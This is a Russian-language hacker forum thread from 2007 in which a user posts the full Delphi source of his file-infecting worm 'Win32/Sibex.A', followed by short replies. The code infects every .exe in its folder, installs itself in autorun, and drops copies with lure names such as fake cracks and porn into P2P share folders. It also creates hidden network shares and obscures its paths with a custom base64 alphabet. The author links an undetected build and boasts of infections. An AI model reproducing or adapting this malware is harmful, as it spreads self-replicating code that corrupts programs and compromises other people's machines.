Win32/Sibex.A мой червяк =)

zl0y · 14 Apr 2007

Просматривая данную страницу вы подрузамеваете,что ответсвенность за все действия причиненные данный программой или кусками программного кода вы берете на себя !

Вот выложил думаю будет позновательно новичкам
Возможности вируса:
1)Заражение всех .exe файлов в папке в которой был запущен вирус
2)Распостранение в P2P файлообменных сетях таких как KazAaa,Emule и других.
3)Распостронение в локальных сетях посредством NETBIOS(разшаривает папку с вирусом.
4)Малый размер(у меня упакованный весил 29469 байт.

Сам вирус написан на Delphi7 чистый WinApi

Код вируса.

///////////////////////////////////////////
//By ZloY (c) 2007 ///////////////
//Please Not Delete Copyright Leacher!////
/////////////////////////////////////////////////////
Program Sibex;
uses windows,sysutils;

//Virus Size
const virsize=30469;

var
victims:tsearchrec;
f1,f2:file;
MyString : PChar;
a : string;
Vir : array[0..260] of Char;
greets : string;
randdir,randdir2 : string;
ST:systemtime;
randfilename: array[0..21] of string = ('porn_sites_key.exe','Porn_Sites_Keygen.exe','CDHack 4.33.5.exe','Windows Vista Nuke.exe','Free Porn.exe','Counter Strike Cheats.exe','Gay movie.exe','Win Rar_Crack.exe','Windows Nuke.exe','Sex Tetris.exe','steam cracked.exe','Win Rar.exe','ICQ5_Hack.exe','Myfoto.exe','Ass_Anal_free_sex.exe','Keygen.exe','Patch.exe','Keygenerator.exe','Delphi 2006 Keygen.exe','Delphi 7 Crack.exe','Delphi 2007 Crack.exe','3D Sex Girl INstaller.exe');
//DecodeBase64
function DB64(Value: String): String;
const b64alphabet: PChar = 'ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮйцукенгшщзхъфывапролджэячсмитьбю';
function DecodeChunk(const Chunk: String): String;
var
W: LongWord;
i: Byte;
begin
W := 0; Result := '';
for i := 1 to 4 do
if Pos(Chunk, b64alphabet) <> 0 then
W := W + Word((Pos(Chunk, b64alphabet) - 1)) shl ((4 - i) * 6);
for i := 1 to 3 do
Result := Result + Chr(W shr ((3 - i) * 8) and $ff);
end;
begin
Result := '';
if Length(Value) mod 4 <> 0 then Exit;
while Length(Value) > 0 do
begin
Result := Result + DecodeChunk(Copy(Value, 0, 4));
Delete(Value, 1, 4);
end;
end;
//Integer To String
function IntToStr(Num: Integer): string;
begin
Str(Num, result);
end;
//Get Windows Dir
function WinDir: string;
begin
SetLength(Result, MAX_PATH);
Windows.GetWindowsDirectory(PChar(Result), MAX_PATH);
Result := string(PChar(Result)) + '\';
end;
//Get System Dir
function SysDir: string;
begin
SetLength(Result, MAX_PATH);
Windows.GetSystemDirectory(PChar(Result), MAX_PATH);
Result := string(PChar(Result)) + '\';
end;

procedure go;
label 10;
var
Buf: array[1..virsize] of byte;
rect:trect;
nr,nw:longint;
begin
////
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
filemode :=2;
assignfile(f2,paramstr(0)+PChar(DB64('ЪгЖчСП..')));

rewrite(f2,1);
seek(f1,virsize);
seek(f2,0) ;
repeat
filemode :=0;
BlockRead(f1, Buf,virsize, NR);
filemode :=2;
BlockWrite(f2, Buf, NR, NW);
until (NR = 0) or (NW <> NR) ;
closefile(f1);
closefile(f2);

winexec(pchar(paramstr(0)+PChar(DB64('ЪгЖчСП..'))),SW_show);
10:
if not deletefile(pchar(paramstr(0)+PChar(DB64('ЪгЖчСП..')))) then begin ;

sleep(400);
goto 10;
end;
except
end;
////
end;
//Infect Files On Disc!
procedure infect(victim:string);
var
a:integer;

Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'123'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'123'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile((pchar('123')+inttostr(a)));
except
end;
end;

begin
randomize;
//Get Local Time
getlocaltime(ST);
//Allocate Memory
GetMem(MyString, 255);
//Get HomePath
GetEnvironmentVariable(PChar(DB64('ОЕьЫРЖЦЦЖЕй.')), MyString, 255);
//Get Size of virus body
GetModuleFileNameA(0, Vir, SizeOf(Vir));
//Copy To Autorun!
CopyFile(Vir, Pchar(DB64('ПлзТ')+MyString+PChar(DB64('ЯФАъчВЪыивДйиВЯыюнлАтВиктВКфиАыТпВЪоивЮйчюКлсбъйЯГНэТГжаИгндИяЩвСЯцн'))), True);
CopyFile(Vir, Pchar(DB64('ПлзТ')+MyString+PChar(DB64('ЯНЫдЧЯЗдЩГжнИшЖТДШЗаСяЗцИЯЫТДяРцТшРжТНрцЬшЦыИэсзЬГьоЪгЖчСП..'))), True);
CopyFile(Vir, Pchar(DB64('ПлзТ')+MyString+PChar(DB64('ЯЕжнИшДйПЯСэМЭьТДШЗаСяЗцИЭжзЯЕЖлСЭЫжБгнаИгДйЧЯЖдИэжцЬГнкЧЖрцЬшЦыИэсзЬГьоЪгЖчСП..'))), True);
CopyFile(Vir, Pchar(DB64('ПлзТ')+MyString+PChar(DB64('ЯНЫдЧЯЗдИЭЖвЬЖрПТгьшТгНыИЭЖТПЯЖдИяЫдЧЯЗдЯГНэТГжаИгндИяЩвСЯцн'))), True);
CopyFile(Vir, Pchar(DB64('ПлзТ')+MyString+PChar(DB64('ЯЕНфИУЦЖТэЖоТжрЫСЭсжЩЕнвМЭЫзИжрПТгьшТгНыЧЯЫТОЭсзЧэнаЯГНэТГжаИгндИяЩвСЯцн'))), True);
//Greets For NoobZ.
greets:=('SibeX The Win32.Virus Written On The Delphi. Kaspersky hi Greets All World and Vx Heavens... Now Satan Day. ');
//My Rand Function
randdir:=IntToStr(ST.wMinute)+IntToStr(ST.wYear)+IntToStr(ST.wSecond)+IntToStr(ST.wHour);
randdir2:=IntToStr(ST.wMinute)+IntToStr(ST.wSecond)+IntToStr(ST.wHour)+IntToStr(ST.wDay);
//Copy File Into Folder(Small Worm Function).
CreateDirectory(Pchar(WinDir+PChar(randdir)), nil);
CreateDirectory(Pchar(WinDir+PChar(randdir2)), nil);
CopyFile(Vir,PChar(WinDir+PChar(randdir)+'\'+Pchar(randfilename[random(21)])), True);
CopyFile(Vir,PChar(WinDir+PChar(randdir2)+'\'+Pchar(randfilename[random(21)])), True);
CopyFile(Vir,PChar(WinDir+PChar(randdir2)+'\'+Pchar(randfilename[random(21)])), True);
winexec(PChar('cmd.exe /c net share Files=C:\Windows\'+PChar(randdir)),sw_hide);
winexec(PChar('cmd.exe /c net share My Documents=C:\Windows\'+PChar(randdir2)),sw_hide);

//Copy Worm Into Shared Folders (KazAaa,Emule(elame) or ect...
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжрЪЧЯзцЧОЦФМЯРнЩЕфъХжрыБОЦлМГНоСЭПйСгьфСГЖоЯЙ..'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжръЧЯзцЧОЦфМЯРнЯГжсЩШЫщЧЯЗнСУЦгИэреСЯЗТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжръЧЯзцЧЖрыБОЦлМГНоСЭПйСгьфСГЖоЯЙ..'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжрыИяЗпМГЖжТжрыБОЦлМГНоСЭПйСгьфСГЖоЯЙ..'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжршТгьъТяРнТнрыБОЦшТгьъТяРнТнп.'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжруСЭНоТэццТгЖТТэццТгЖеЯЙ..'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжрнСГьвМэЖсФкЙпФНрзИгЫаИЭнвСжп.'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжрфМЭжнЬэноСЖрлМГНоСЭРТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжряМЭсыБНрлМГНоСЭРТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ИЯейТэццТгЖеЩГСаИГРнТнп.'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжрЗПжНТДэццТгЖеЩЕСаИГРнТй..'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжраЬгЖоИгЖдЯГнвЧэьыМЭсшЯЙ..'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ЛЯейРГьяИграЧЭРлЯЙ..'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжрОЧЯЦзСэНдИяЗТДэццТгЖТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжрЧИэраЭНрЕИяЬвИГьцСШЫТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ЧлзТТШЗаСяЗцИОЦгМЭрнТжрДСЯЫфЧЖрГМЭрнТжп.'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжрЯМЭсЫЭНрЫБОЦЛМГНоСЭПйРгьфСГЖоЯЙ..'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжрЛМГНоСЭНмЧЖрЕИяЬвИГьцСШЫТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('ТШЗаСяЗцИОЦгМЭрнТжрШИшЖкИГЖжТжрЕИяЬвИГьцСШЫТ'))+Pchar(randfilename[random(3)])), True);

//Infect Files On Body Worm
//CopyFile(Vir,PChar(SysDir+'\'+PChar(randdir)+PChar(DB64('ЪгЖчСП..'))), True);
//winexec((PChar(SysDir+'\'+PChar(randdir)+PChar(DB64('ЪгЖчСП..')))),sw_hide);

//CopyFile(Vir,PChar(WinDir+'\'+PChar(randdir)+PChar(DB64('ЪгЖчСП..'))), True);
//winexec((PChar(WinDir+'\'+PChar(randdir)+PChar(DB64('ЪгЖчСП..')))),sw_hide);

//Virus Function!!!
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
if filesize(f1)>virsize then go;
closefile(f1);

filemode :=2;
except
end;
if FindFirst(PChar(DB64('ХуснБГД.')), Faanyfile, victims) = 0 then
repeat
if not ((victims.Name)=extractfilename(paramstr(0))) then begin
if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);
end;
until FindNext(victims)<>0 ;
end.

Click to expand...

Также немного модифицированный код вируса !
На данный момент не дектируецца на 1 антивирусом
http://slil.ru/24235569

v1ru$ · 14 Apr 2007

смайлики в коде жгут!
По теме,что это за червяк?что он делает,кроме размножения

a1ex · 14 Apr 2007

Хмм...интересно...

zl0y · 14 Apr 2007

v1ru$ said:

смайлики в коде жгут!
По теме,что это за червяк?что он делает,кроме размножения
Click to expand...

Скомпиль да запусти у меня пример каждый 7-6 файл в локалке им заражен

SpewFire · 14 Apr 2007

Сорец - норм!!! афтару +

KEZ · 15 Apr 2007

4)Малый размер(у меня упакованный весил 29469 байт.

Сам вирус написан на Delphi7 чистый WinApi
Click to expand...

Сегодня был на конференции про И.Т. среди поступающих в какой-то институт, но даже там ничего тупее не заметил

KEZ · 15 Apr 2007

Просматривая данную страницу вы подрузамеваете,что ответсвенность за все действия причиненные данный программой или кусками программного кода вы берете на себя !
Click to expand...

а что если я ее уже открыл но не соглашался с этим? давай тогда если ты это читаешь ты подразумеваешь что должен мне милион баксов?

Win32/Sibex.A мой червяк =)

zl0y Banned

v1ru$ Elder - Старейшина

a1ex Banned

zl0y Banned

SpewFire Banned

KEZ Ненасытный школьник

KEZ Ненасытный школьник

Useful Searches

Win32/Sibex.A мой червяк =)

zl0y Banned

v1ru$ Elder - Старейшина

a1ex Banned

zl0y Banned

SpewFire Banned

KEZ Ненасытный школьник

KEZ Ненасытный школьник